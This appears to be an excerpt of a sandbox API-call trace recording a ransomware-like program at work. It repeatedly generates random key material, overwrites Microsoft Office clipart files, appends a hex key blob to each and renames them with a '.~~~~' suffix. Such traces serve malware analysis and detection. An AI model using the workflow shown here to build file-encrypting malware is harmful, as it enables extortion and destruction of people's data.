	[0094.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.563] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0094.563] GetLastError () returned 0x0
	[0094.563] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0094.563] GetLastError () returned 0x0
	[0094.828] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffba42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.828] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x45be, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x45be, lpOverlapped=0x0) returned 1
	[0095.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0095.173] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.173] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.174] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.174] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.174] CloseHandle (hObject=0x124) returned 1
	[0095.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0095.180] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.~~~~")) returned 1
	[0095.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0095.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0095.241] GetLastError () returned 0x0
	[0095.241] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0095.242] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.242] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0095.243] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21523272819) returned 1
	[0095.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa27a92b0, dwHighDateTime=0x1d60e1e)) 
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0095.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f558
	[0095.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0095.243] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0095.244] GetLastError () returned 0x0
	[0095.244] GetLastError () returned 0x0
	[0095.244] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0095.244] GetLastError () returned 0x0
	[0095.244] GetLastError () returned 0x0
	[0096.035] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.035] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0096.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.036] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.036] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.037] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.037] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.037] CloseHandle (hObject=0x124) returned 1
	[0096.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.037] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.~~~~")) returned 1
	[0096.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.038] GetLastError () returned 0x0
	[0096.038] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.039] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.039] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.039] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21603144188) returned 1
	[0096.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa2f3f8d0, dwHighDateTime=0x1d60e1e)) 
	[0096.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc40
	[0096.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc40 | out: hHeap=0x300000) returned 1
	[0096.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fa18
	[0096.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.042] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.042] GetLastError () returned 0x0
	[0096.042] GetLastError () returned 0x0
	[0096.042] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.043] GetLastError () returned 0x0
	[0096.043] GetLastError () returned 0x0
	[0096.180] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffc18c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.181] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3e74, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x3e74, lpOverlapped=0x0) returned 1
	[0096.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.181] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.181] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.182] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.182] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.182] CloseHandle (hObject=0x124) returned 1
	[0096.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.182] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.~~~~")) returned 1
	[0096.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.183] GetLastError () returned 0x0
	[0096.183] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.184] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.184] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.185] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21617475718) returned 1
	[0096.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa30bc690, dwHighDateTime=0x1d60e1e)) 
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840068
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840068 | out: hHeap=0x300000) returned 1
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283fda8
	[0096.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.185] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.185] GetLastError () returned 0x0
	[0096.186] GetLastError () returned 0x0
	[0096.186] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.186] GetLastError () returned 0x0
	[0096.186] GetLastError () returned 0x0
	[0096.295] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffbc40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.295] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x43c0, lpOverlapped=0x0) returned 1
	[0096.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.297] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.297] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.297] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.297] CloseHandle (hObject=0x124) returned 1
	[0096.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.~~~~")) returned 1
	[0096.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.298] GetLastError () returned 0x0
	[0096.298] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.299] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.299] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.299] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21629155803) returned 1
	[0096.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa31c7030, dwHighDateTime=0x1d60e1e)) 
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840110
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840110 | out: hHeap=0x300000) returned 1
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842090
	[0096.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.302] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.302] GetLastError () returned 0x0
	[0096.303] GetLastError () returned 0x0
	[0096.303] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.303] GetLastError () returned 0x0
	[0096.303] GetLastError () returned 0x0
	[0096.526] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe8ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.526] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1714, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1714, lpOverlapped=0x0) returned 1
	[0096.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.527] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.527] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.527] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.527] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.528] CloseHandle (hObject=0x124) returned 1
	[0096.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.~~~~")) returned 1
	[0096.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.529] GetLastError () returned 0x0
	[0096.529] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.530] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.530] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.530] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21652062842) returned 1
	[0096.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa34024d0, dwHighDateTime=0x1d60e1e)) 
	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28402d0
	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28402d0 | out: hHeap=0x300000) returned 1
	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
